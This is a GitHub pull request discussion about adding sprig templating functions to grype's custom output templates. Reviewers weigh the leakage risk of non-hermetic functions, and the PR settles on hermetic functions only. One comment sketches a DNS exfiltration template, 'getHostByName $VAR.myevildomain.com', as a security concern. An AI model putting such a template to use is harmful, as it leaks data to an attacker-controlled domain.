Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add sprig templating functions for grype output #610

Merged
merged 1 commit into from Jan 28, 2022

Conversation

samj1912
Copy link
Contributor

This commit adds a set of common templating functions from https://masterminds.github.io/sprig/ which makes it easier to deal with go templates and dramatically improves what is possible with custom grype outputs.

go.mod Show resolved Hide resolved
Copy link
Contributor

@wagoodman wagoodman left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I was writing a template the other day and was thinking about adding this --great addition!

Copy link
Contributor

@kzantow kzantow left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@wagoodman beat me to it; I was looking through the dependency updates. This looks like a useful addition! 👍

@samj1912
Copy link
Contributor Author

@wagoodman / @kzantow I am looking through the function list. There are a subset of functions like https://masterminds.github.io/sprig/os.html which we might want to hold off from adding. Thoughts? If we don't want them, I can remove those out. The other option is to only include hermetic functions which excludes the following list https://github.com/Masterminds/sprig/blob/05f1d18231b62a3cc05e4babc33f0f6dbf933f7f/functions.go#L70 but I think the datetime functions might be useful.

@kzantow
Copy link
Contributor

kzantow commented Jan 28, 2022

There are a subset of functions like https://masterminds.github.io/sprig/os.html which we might want to hold off from adding. Thoughts? If we don't want them, I can remove those out.

Is the concern that someone would distribute a template that results in some unexpected information leakage? At present, the end user would still need to explicitly specify the template, right?

I might be more concerned about a DNS lookup; someone could getHostByName $VAR.myevildomain.com or somesuch?

EDIT: only allowing the "hermetic" functions may be preferred, though, if for no other reason than the template would be based solely on Grype data; It would also help this possible security concern

Signed-off-by: Sambhav Kothari <skothari44@bloomberg.net>
@samj1912
Copy link
Contributor Author

@kzantow / @wagoodman updated to just include hermetic functions for now.

@wagoodman
Copy link
Contributor

I think including hermetic functions is a good first step, we can always adjust later if we find use cases that strongly hint at including non-hermetic functions. Good call @samj1912

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

3 participants